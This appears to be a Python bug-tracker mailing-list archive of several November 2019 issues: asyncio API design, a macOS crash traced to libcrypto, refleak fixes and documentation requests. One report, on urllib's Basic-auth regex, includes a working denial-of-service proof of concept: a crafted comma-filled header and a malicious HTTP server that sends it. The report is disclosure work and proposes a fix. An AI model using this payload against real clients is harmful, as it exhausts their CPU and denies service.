[issue38827] [security] requests (lib) connects to a wrong host

2019-11-16 Thread Zachary Ware


Zachary Ware  added the comment:

As mentioned, requests is a third-party project, please report bugs in requests 
following the instructions in the link provided by Karthikeyan.

--
nosy: +zach.ware
resolution:  -> third party
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue33046] IDLE option to strip trailing whitespace automatically on save

2019-11-16 Thread Zackery Spytz


Zackery Spytz  added the comment:

I have created a pull request to implement this feature.  There was also some 
relevant discussion in bpo-23667.

--
nosy: +ZackerySpytz

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue33046] IDLE option to strip trailing whitespace automatically on save

2019-11-16 Thread Zackery Spytz


Change by Zackery Spytz :


--
keywords: +patch
pull_requests: +16705
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/17201

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue32309] Implement asyncio.run_in_executor shortcut

2019-11-16 Thread Kyle Stanley


Kyle Stanley  added the comment:

So, I just had an interesting idea... what if ThreadPool.run() returned a Task 
instead of a coroutine object?

With the current version of asyncio.ThreadPool, if a user wants to create a 
Task, they would have to do something like this:

async with asyncio.ThreadPool() as pool:
task = asyncio.create_task(pool.run(io_blocking_func, 10, kwarg1='test'))
other_task = asyncio.create_task(pool.run(io_blocking_func, 12))
if some_conditional:
task.cancel()
results = await asyncio.gather(task, other_task, return_exceptions=True)
...

To me, this looks like excessive boilerplate, particularly for a higher level 
API. Even for rather straightforward behavior, it requires nested function 
calls. If we were to return a task directly, this would be significantly 
cleaner:

async with asyncio.ThreadPool() as pool:
task = pool.run(io_blocking_func, 10, kwarg1='test')
other_task = pool.run(io_blocking_func, 12)
if some_conditional:
task.cancel()
results = await asyncio.gather(task, other_task, return_exceptions=True)
...

Since asyncio.ThreadPool is intended to be a high-level API, I don't think it's 
an issue to return a Task from it's run() method. It would make it 
significantly easier and more convenient to work with from a user perspective.

Thoughts?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38827] [security] requests (lib) connects to a wrong host

2019-11-16 Thread Arslan Mahmood


Arslan Mahmood  added the comment:

I'm new that's why multiple issues get created by mistake.

On Sun, 17 Nov 2019 at 11:16, Karthikeyan Singaravelan <
rep...@bugs.python.org> wrote:

>
> New submission from Karthikeyan Singaravelan :
>
> Please stop creating multiple issues with no description. The previous
> issue also had no description : https://bugs.python.org/issue38824 .
> requests module has it's own security process :
> https://requests.kennethreitz.org/en/master/community/vulnerabilities/
>
> --
> nosy: +xtreak
>
> ___
> Python tracker 
> 
> ___
>

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38812] Comparing datetime.time objects incorrect for TZ aware and unaware

2019-11-16 Thread Karthikeyan Singaravelan


Change by Karthikeyan Singaravelan :


--
nosy: +p-ganssle

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38827] [security] requests (lib) connects to a wrong host

2019-11-16 Thread Karthikeyan Singaravelan


New submission from Karthikeyan Singaravelan :

Please stop creating multiple issues with no description. The previous issue 
also had no description : https://bugs.python.org/issue38824 . requests module 
has it's own security process : 
https://requests.kennethreitz.org/en/master/community/vulnerabilities/

--
nosy: +xtreak

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38824] sasddsdsd

2019-11-16 Thread Arslan Mahmood


Arslan Mahmood  added the comment:

Hi Christian Heimes!
I have found a bug in requests lib.
I want to report it with POC but don't find message feature on
https://bugs.python.org

On Sun, 17 Nov 2019 at 01:58, Christian Heimes 
wrote:

>
> New submission from Christian Heimes :
>
> Empty / invalid bug report
>
> --
> resolution:  -> not a bug
> stage:  -> resolved
> status: open -> closed
>
> ___
> Python tracker 
> 
> ___
>

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38827] [security] requests (lib) connects to a wrong host

2019-11-16 Thread Arslan Mahmood


Change by Arslan Mahmood :


--
components: Library (Lib)
nosy: Arslan Mahmood
priority: normal
severity: normal
status: open
title: [security] requests (lib) connects to a wrong host
type: security
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38825] shutil.disk_usage - Lacking documentation

2019-11-16 Thread Karthikeyan Singaravelan


Karthikeyan Singaravelan  added the comment:

I modified psutil to shutil since I feel it's a typo. Please revert back if 
it's incorrect.

--
nosy: +giampaolo.rodola, tarek, xtreak
title: psutil.disk_usage - Lacking documentation -> shutil.disk_usage - Lacking 
documentation

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38826] Regular Expression Denial of Service in urllib.request.AbstractBasicAuthHandler

2019-11-16 Thread Karthikeyan Singaravelan


Karthikeyan Singaravelan  added the comment:

Thanks for the report. Please report security issues to secur...@python.org so 
that the security team can analyze and triage it to be made public. More 
information at https://www.python.org/news/security/

--
nosy: +xtreak

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3530] ast.NodeTransformer doc bug

2019-11-16 Thread Terry J. Reedy


Change by Terry J. Reedy :


--
versions: +Python 3.7, Python 3.8, Python 3.9 -Python 3.4, Python 3.5, Python 
3.6

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3530] ast.NodeTransformer doc bug

2019-11-16 Thread Terry J. Reedy


Terry J. Reedy  added the comment:

I re-verified the problem, its presence in the doc, and the fix with 3.9.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38826] Regular Expression Denial of Service in urllib.request.AbstractBasicAuthHandler

2019-11-16 Thread Ben Caller


New submission from Ben Caller :

The regular expression urllib.request.AbstractBasicAuthHandler.rx is vulnerable 
to malicious inputs which cause denial of service (REDoS).

The regex is:

rx = re.compile('(?:.*,)*[ \t]*([^ \t]+)[ \t]+'
'realm=(["\']?)([^"\']*)\\2', re.I)

The first line can act like:

(,*,)*(,+)[ \t]

Showing that there are many different ways to match a long sequence of commas.

Input from the WWW-Authenticate or Proxy-Authenticate headers of HTTP responses 
will reach the regex via the http_error_auth_reqed method as long as the header 
value starts with "basic ".

We can craft a malicious input:

urllib.request.AbstractBasicAuthHandler.rx.search(
"basic " + ("," * 100) + "A"
)

Which causes catastrophic backtracking and takes a large amount of CPU time to 
process.

I tested the length of time (seconds) to complete for different numbers of 
commas in the string:

18   0.289
19   0.57
20   1.14
21   2.29
22   4.55
23   9.17
24  18.3
25  36.5
26  75.1
27 167

Showing an exponential relationship O(2^x) !

The maximum length of comma string that can fit in a response header is 65509, 
which would take my computer just 6E+19706 years to complete.

Example malicious server:

from http.server import BaseHTTPRequestHandler, HTTPServer

def make_basic_auth(n_commas):
commas = "," * n_commas
return f"basic {commas}A"

class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(401)
n_commas = (
int(self.path[1:])
if len(self.path) > 1 else
65509
)
value = make_basic_auth(n_commas)
self.send_header("www-authenticate", value)
self.end_headers()

if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()

Vulnerable client:

import urllib.request
opener = urllib.request.build_opener(urllib.request.HTTPBasicAuthHandler())
opener.open("http://localhost:44020/;)

As such, python applications using urllib.request may need to be careful not to 
visit malicious servers.

I think the regex can be replaced with:
rx = re.compile('basic[ \t]+realm=(["\']?)([^"\']*)\\2', re.I)

- Ben

--
components: Library (Lib)
messages: 356785
nosy: bc
priority: normal
severity: normal
status: open
title: Regular Expression Denial of Service in 
urllib.request.AbstractBasicAuthHandler
type: security
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38814] Python3.7.5 crashes on OSX with my django project

2019-11-16 Thread Ned Deily


Ned Deily  added the comment:

Sorry, we have strayed from dealing with a Python issue here so, if you need 
nore assistance, you really should seek help elsewhere.  But a quick web search 
found this which seems to describe your problem:

https://github.com/wbond/asn1crypto/issues/113

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38823] Improve stdlib module initialization error handling.

2019-11-16 Thread miss-islington


miss-islington  added the comment:


New changeset 1fe79a43400d092a074c6f9ae5eb290ea3e4f281 by Miss Islington (bot) 
in branch '3.8':
bpo-38823: Clean up refleaks in _contextvars initialization. (GH-17198)
https://github.com/python/cpython/commit/1fe79a43400d092a074c6f9ae5eb290ea3e4f281


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38823] Improve stdlib module initialization error handling.

2019-11-16 Thread miss-islington


miss-islington  added the comment:


New changeset 8a334af13368573cc645488481b1173d65eeeb9a by Miss Islington (bot) 
in branch '3.7':
bpo-38823: Clean up refleaks in _contextvars initialization. (GH-17198)
https://github.com/python/cpython/commit/8a334af13368573cc645488481b1173d65eeeb9a


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38823] Improve stdlib module initialization error handling.

2019-11-16 Thread miss-islington


Change by miss-islington :


--
pull_requests: +16704
pull_request: https://github.com/python/cpython/pull/17200

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38823] Improve stdlib module initialization error handling.

2019-11-16 Thread miss-islington


miss-islington  added the comment:


New changeset 143a97f64128070386b12a0ee589bdaad5e51f40 by Miss Islington (bot) 
(Brandt Bucher) in branch 'master':
bpo-38823: Clean up refleaks in _contextvars initialization. (GH-17198)
https://github.com/python/cpython/commit/143a97f64128070386b12a0ee589bdaad5e51f40


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38823] Improve stdlib module initialization error handling.

2019-11-16 Thread miss-islington


Change by miss-islington :


--
pull_requests: +16703
pull_request: https://github.com/python/cpython/pull/17199

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38814] Python3.7.5 crashes on OSX with my django project

2019-11-16 Thread László Károlyi

László Károlyi  added the comment:

Upon reinstalling openssl with homebrew, I get the following info:

--
openssl is keg-only, which means it was not symlinked into /usr/local,
because Apple has deprecated use of OpenSSL in favor of its own TLS and crypto 
libraries.

If you need to have openssl first in your PATH run:
  echo 'set -g fish_user_paths "/usr/local/opt/openssl/bin" $fish_user_paths' 
>> ~/.config/fish/config.fish

For compilers to find openssl you may need to set:
  set -gx LDFLAGS "-L/usr/local/opt/openssl/lib"
  set -gx CPPFLAGS "-I/usr/local/opt/openssl/include"

For pkg-config to find openssl you may need to set:
  set -gx PKG_CONFIG_PATH "/usr/local/opt/openssl/lib/pkgconfig"


So assumingly the system-wide library should be preferred, may it be whatever 
one.

`/usr/bin/openssl version` says LibreSSL 2.8.3.

Probably I could still link to the homebrew installed SSL using the provided 
flags, but I'm quite sure this same problem will pop up at a lot of other 
Catalina users.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38814] Python3.7.5 crashes on OSX with my django project

2019-11-16 Thread Ned Deily


Ned Deily  added the comment:

Almost any kind of crash is possible when using ctypes.  But you almost 
certainly don't want to be loading /usr/lib/libcrypto.dylib.  That's the macOS 
legacy version which is there only for legacy Apple-supplied third-party 
components, like the Apple-supplie system Python.  Apple doesn't even supply 
the header files for the system libssl and libcrypto deliberately so you are 
not supposed to be able to successfully link with them.  So you should try to 
figure out why asn1crypto is apparently linked with it.  It should likely be 
trying to link with a libcrypto provided by Homebrew openssl.  Good luck.

--
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38823] Improve stdlib module initialization error handling.

2019-11-16 Thread Brandt Bucher


Change by Brandt Bucher :


--
pull_requests: +16702
pull_request: https://github.com/python/cpython/pull/17198

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38814] Python3.7.5 crashes on OSX with my django project

2019-11-16 Thread László Károlyi

László Károlyi  added the comment:

Here's an md5sum of /usr/lib/libcrypto.dylib:

MD5 (/usr/lib/libcrypto.dylib) = d19ca8b227c32d30f92ed0665dfe73d0

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38814] Python3.7.5 crashes on OSX with my django project

2019-11-16 Thread László Károlyi

László Károlyi  added the comment:

As I'm triangulating the problem down, I can now reproduce the problem without 
running django:

python -X faulthandler -c 'from asn1crypto._perf import _big_num_ctypes'

gives the output:

Fatal Python error: Aborted

Current thread 0x000117155dc0 (most recent call first):
  File 
"/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/ctypes/__init__.py",
 line 364 in __init__
  File 
"/Users/laszlokarolyi/Work/project/venv/lib/python3.7/site-packages/asn1crypto/_perf/_big_num_ctypes.py",
 line 39 in 
  File "", line 219 in _call_with_frames_removed
  File "", line 728 in exec_module
  File "", line 677 in _load_unlocked
  File "", line 967 in _find_and_load_unlocked
  File "", line 983 in _find_and_load
  File "", line 219 in _call_with_frames_removed
  File "", line 1035 in _handle_fromlist
  File "", line 1 in 
fish: 'python -X faulthandler -c 'from…' terminated by signal SIGABRT (Abort)

I took the opportunity to see what library loading fails, by printing 
self._name and mode before line 365 in ctypes/__init__.py:

It tries to load /usr/lib/libcrypto.dylib with mode 4, and that's where it 
crashes.

--
status: closed -> open

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue32309] Implement asyncio.run_in_executor shortcut

2019-11-16 Thread Kyle Stanley


Kyle Stanley  added the comment:

> (a) design the API correctly; 
> (b) ship something that definitely works with a proven ThreadPoolExecutor; 

Yury and Andrew, here's my latest API design for asyncio.ThreadPool: 
https://github.com/python/cpython/compare/master...aeros:asyncio-threadpool. 
This is for the initial ThreadPoolExecutor version, using the design based on 
Yury's suggestions. I plan on extending upon the docstrings, writing tests, and 
the documentation for it.

My idea was to use the new Lib/asyncio/pools.py and AbstractPool to eventually 
implement an asyncio.ProcessPool (and the native version of asyncio.ThreadPool).

I plan on opening a PR after I finish writing some tests and documentation, I'd 
like to include it all in the same PR if possible. But let me know what you 
think about the current API design, it would be much easier for me to make 
modifications at this stage.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38823] Improve stdlib module initialization error handling.

2019-11-16 Thread miss-islington


miss-islington  added the comment:


New changeset 825e91be0407d6fc7fa034286b4e90634f181fab by Miss Islington (bot) 
in branch '3.7':
bpo-38823: Clean up refleaks in _asyncio initialization. (GH-17195)
https://github.com/python/cpython/commit/825e91be0407d6fc7fa034286b4e90634f181fab


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38823] Improve stdlib module initialization error handling.

2019-11-16 Thread miss-islington


miss-islington  added the comment:


New changeset 48f4f75baeee8ade1fbfab1b0aa6a21a3b13a2f2 by Miss Islington (bot) 
in branch '3.8':
bpo-38823: Clean up refleaks in _asyncio initialization. (GH-17195)
https://github.com/python/cpython/commit/48f4f75baeee8ade1fbfab1b0aa6a21a3b13a2f2


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38823] Improve stdlib module initialization error handling.

2019-11-16 Thread miss-islington


Change by miss-islington :


--
pull_requests: +16701
pull_request: https://github.com/python/cpython/pull/17197

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38823] Improve stdlib module initialization error handling.

2019-11-16 Thread miss-islington


Change by miss-islington :


--
pull_requests: +16700
pull_request: https://github.com/python/cpython/pull/17196

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38823] Improve stdlib module initialization error handling.

2019-11-16 Thread miss-islington


miss-islington  added the comment:


New changeset c3f6bdc332d23588102eba749a5929dd5bb67c9d by Miss Islington (bot) 
(Brandt Bucher) in branch 'master':
bpo-38823: Clean up refleaks in _asyncio initialization. (GH-17195)
https://github.com/python/cpython/commit/c3f6bdc332d23588102eba749a5929dd5bb67c9d


--
nosy: +miss-islington

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38814] Python3.7.5 crashes on OSX with my django project

2019-11-16 Thread László Károlyi

László Károlyi  added the comment:

So after making the changes, recompiling everything and using `python -X 
faulthandler backend/manage.py runserver --nothreading --noasgi --noreload` to 
start django without the autoreloader that hides the crashed process' output, 
here's what I get:

  File 
"/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/ctypes/__init__.py",
 line 364 in __init__
  File 
"/Users/laszlokarolyi/Work/project/venv/lib/python3.7/site-packages/asn1crypto/_perf/_big_num_ctypes.py",
 line 39 in 
  File "", line 219 in _call_with_frames_removed
  File "", line 728 in exec_module
  File "", line 677 in _load_unlocked
  File "", line 967 in _find_and_load_unlocked
  File "", line 983 in _find_and_load
  File 
"/Users/laszlokarolyi/Work/project/venv/lib/python3.7/site-packages/asn1crypto/_int.py",
 line 56 in 
  File "", line 219 in _call_with_frames_removed
  File "", line 728 in exec_module
  File "", line 677 in _load_unlocked
  File "", line 967 in _find_and_load_unlocked
  File "", line 983 in _find_and_load
  File 
"/Users/laszlokarolyi/Work/project/venv/lib/python3.7/site-packages/asn1crypto/_elliptic_curve.py",
 line 51 in 
  File "", line 219 in _call_with_frames_removed
  File "", line 728 in exec_module
  File "", line 677 in _load_unlocked
  File "", line 967 in _find_and_load_unlocked
  File "", line 983 in _find_and_load
  File 
"/Users/laszlokarolyi/Work/project/venv/lib/python3.7/site-packages/asn1crypto/keys.py",
 line 22 in 
  File "", line 219 in _call_with_frames_removed
  File "", line 728 in exec_module
  File "", line 677 in _load_unlocked
  File "", line 967 in _find_and_load_unlocked
  File "", line 983 in _find_and_load
  File 
"/Users/laszlokarolyi/Work/project/venv/lib/python3.7/site-packages/cryptography/x509/extensions.py",
 line 14 in 
  File "", line 219 in _call_with_frames_removed
  File "", line 728 in exec_module
  File "", line 677 in _load_unlocked
  File "", line 967 in _find_and_load_unlocked
  File "", line 983 in _find_and_load
  File 
"/Users/laszlokarolyi/Work/project/venv/lib/python3.7/site-packages/cryptography/x509/base.py",
 line 16 in 
  File "", line 219 in _call_with_frames_removed
  File "", line 728 in exec_module
  File "", line 677 in _load_unlocked
  File "", line 967 in _find_and_load_unlocked
  File "", line 983 in _find_and_load
  File 
"/Users/laszlokarolyi/Work/project/venv/lib/python3.7/site-packages/cryptography/x509/__init__.py",
 line 8 in 
  File "", line 219 in _call_with_frames_removed
  File "", line 728 in exec_module
  File "", line 677 in _load_unlocked
  File "", line 967 in _find_and_load_unlocked
  File "", line 983 in _find_and_load
  File "", line 219 in _call_with_frames_removed
  File "", line 1035 in _handle_fromlist
  File 
"/Users/laszlokarolyi/Work/project/venv/lib/python3.7/site-packages/cryptography/hazmat/backends/openssl/backend.py",
 line 18 in 
  File "", line 219 in _call_with_frames_removed
  File "", line 728 in exec_module
  File "", line 677 in _load_unlocked
  File "", line 967 in _find_and_load_unlocked
  File "", line 983 in _find_and_load
  File 
"/Users/laszlokarolyi/Work/project/venv/lib/python3.7/site-packages/cryptography/hazmat/backends/openssl/__init__.py",
 line 7 in 
  File "", line 219 in _call_with_frames_removed
  File "", line 728 in exec_module
  File "", line 677 in _load_unlocked
  File "", line 967 in _find_and_load_unlocked
  File "", line 983 in _find_and_load
  File "", line 219 in _call_with_frames_removed
  File "", line 953 in _find_and_load_unlocked
  File "", line 983 in _find_and_load
  File 
"/Users/laszlokarolyi/Work/project/venv/lib/python3.7/site-packages/cryptography/hazmat/backends/__init__.py",
 line 15 in default_backend
  File 
"/Users/laszlokarolyi/Work/project/backend/ticketshop/printing/api/v1/qz_signer.py",
 line 19 in 
  File "", line 219 in _call_with_frames_removed
  File "", line 728 in exec_module
  File "", line 677 in _load_unlocked
  File "", line 967 in _find_and_load_unlocked
  File "", line 983 in _find_and_load
  File 
"/Users/laszlokarolyi/Work/project/backend/ticketshop/printing/api/urls.py", 
line 4 in 
  File "", line 219 in _call_with_frames_removed
  File "", line 728 in exec_module
  File "", line 677 in _load_unlocked
  File "", line 967 in _find_and_load_unlocked
  File "", line 983 in _find_and_load
  File "/Users/laszlokarolyi/Work/project/backend/ticketshop/urls_api.py", line 
11 in 
  File "", line 219 in _call_with_frames_removed
  File "", line 728 in exec_module
  File "", line 677 in _load_unlocked
  File "", line 967 in _find_and_load_unlocked
  File "", line 983 in _find_and_load
  File "/Users/laszlokarolyi/Work/project/backend/ticketshop/urls.py", line 9 
in 
  File "", line 219 in _call_with_frames_removed
  File "", line 728 in exec_module
  File "", line 677 in _load_unlocked
  File "", line 967 in _find_and_load_unlocked
  File "", line 983 in _find_and_load
  File "", line 1006 in 

[issue38825] psutil.disk_usage - Lacking documentation

2019-11-16 Thread Lord Anton Hvornum


New submission from Lord Anton Hvornum :

https://docs.python.org/3.8/library/shutil.html#shutil.disk_usage

There's no mention that this helper function simply calls `os.statvfs()` in the 
background. Something that is quite troubling when you're trying to get 
disk_usage (or disk-information) about a non-mounted drive.

It's clear as day if you see the code: 
https://github.com/python/cpython/blob/master/Lib/shutil.py#L1249

But if you're a novice user, this will puzzle your brain.
Because the end result will be that `disk_usage()` returns the same information 
for all these cases:

shutil.disk_usage('/dev/sda')
shutil.disk_usage('/dev/sdb')
shutil.disk_usage('/dev/sdc')

Which translates to:

os.statvfs('/dev/sd?')'

--

All I'm asking, is that we add a little note stating:
"On *mounted* filesystems" or a reference to `os.statvfs()` where it's clearly 
stated that it runs on mounted filesystems.

Thanks in advance.

--
assignee: docs@python
components: Documentation
messages: 356771
nosy: Lord Anton Hvornum, docs@python
priority: normal
severity: normal
status: open
title: psutil.disk_usage - Lacking documentation
type: enhancement
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38823] Improve stdlib module initialization error handling.

2019-11-16 Thread Brandt Bucher


Change by Brandt Bucher :


--
keywords: +patch
pull_requests: +16699
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/17195

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38782] Convert importlib.abc to use typing.Protocol

2019-11-16 Thread Joannah Nanjekye


Change by Joannah Nanjekye :


--
nosy: +nanjekyejoannah

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38814] Python3.7.5 crashes on OSX with my django project

2019-11-16 Thread Ned Deily


Ned Deily  added the comment:

The stack track is pretty suspicious.  I really don't know why it would be 
crashing where it shows which seems to be pretty early in the interpreter.  If 
you haven't already, you might just want to try reinstalling from Homebrew 
first and try again.  If you do try a debug build and it still crashes, the 
stack trace should be very explicit about where it is crashing.

--
status: pending -> open

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38814] Python3.7.5 crashes on OSX with my django project

2019-11-16 Thread Ned Deily


Change by Ned Deily :


--
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38824] sasddsdsd

2019-11-16 Thread Christian Heimes


New submission from Christian Heimes :

Empty / invalid bug report

--
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue22640] Add silent mode for py_compile

2019-11-16 Thread Joannah Nanjekye


Joannah Nanjekye  added the comment:

Am in favor of opening a separate ticket for this. Thanks

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38814] Python3.7.5 crashes on OSX with my django project

2019-11-16 Thread László Károlyi

László Károlyi  added the comment:

Hello,

the only C extension I use is xapian and mysql (with mariadb), xapian comes 
from their own git repo, and mariadb comes from mysqlclient, both (and 
everything else I don't know about) compile with the python 3.7.5 I installed 
within a venv.

I'll try to recompile python with the debug mode enabled, and then reinstall 
the entire venv to see what debug I get.

Where should I look for debug logs then?

Also, as you might have seen from the irc logs and the pastebin links posted 
there, python crashes somewhere around reading the django language directories, 
for a mystical reason. Yet to be found out.

--
status: closed -> pending

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue22640] Add silent mode for py_compile

2019-11-16 Thread Éric Araujo

Éric Araujo  added the comment:

Internal functions got the parameter added, but not the command-line interface. 
 Should this be reopened, or a different ticket?  (I think only remove the 
NameError in 3.8, but complete the feature in 3.9)

--
nosy: +eric.araujo

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38823] Improve stdlib module initialization error handling.

2019-11-16 Thread Brandt Bucher


Change by Brandt Bucher :


--
nosy: +serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38823] Improve stdlib module initialization error handling.

2019-11-16 Thread Brandt Bucher


Brandt Bucher  added the comment:

How do others feel about the creation of a new private API? It would keep these 
diffs smaller and ease refactoring... and it would probably be good to have 
around anyways:

/* Like PyModule_AddObject, but steals o on success AND failure. */

int
_PyModule_StealObject(PyObject *m, const char *name, PyObject *o)
{
if (PyModule_AddObject(m, name, o) < 0) {
Py_XDECREF(o);
return -1;
}
return 0;
}

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38824] sasddsdsd

2019-11-16 Thread Arslan Mahmood


Change by Arslan Mahmood :


--
assignee:  -> christian.heimes
components: +SSL -Regular Expressions
nosy: +christian.heimes
title: [security] requests connects to a wrong host -> sasddsdsd
versions:  -Python 2.7, Python 3.5, Python 3.6, Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38824] [security] requests connects to a wrong host

2019-11-16 Thread Arslan Mahmood


Change by Arslan Mahmood :


--
components: Regular Expressions
nosy: Arslan Mahmood, ezio.melotti, mrabarnett
priority: normal
severity: normal
status: open
title: [security] requests connects to a wrong host
type: security
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38823] Improve stdlib module initialization error handling.

2019-11-16 Thread Brandt Bucher


New submission from Brandt Bucher :

Many of the C stdlib modules can benefit from improved error handling during 
initialization. I've now had two PRs where the authors had reference leaks on 
error conditions, but defended their decisions by pointing to examples of 
similar idioms all over the stdlib.

The problems fall into two related categories, mostly:

- Not DECREF'ing the new module object on failure.
- Not handling errors raised by the PyModule_Add* family of functions... 
specifically, the weird steal-on-success semantics of PyModule_AddObject. I've 
already improved the docs for this, so we should see the issue less, but our 
own code should still be fixed.

I intend to turn this into a longer term project. I'll be working my way 
through these modules bit-by-bit over time, using this issue to track all of 
them (since there are a few dozen cases). I'd rather not make one huge one that 
spams all of the code owners and is impossible to review.

If anybody want to make themselves available to review/merge these as I go 
along, that would be great! Many of the ones I'll start with are just adding 
trivial DECREFs to the more popular modules (_asyncio, _contextvars, 
_functools, _random, _warnings, etc...).

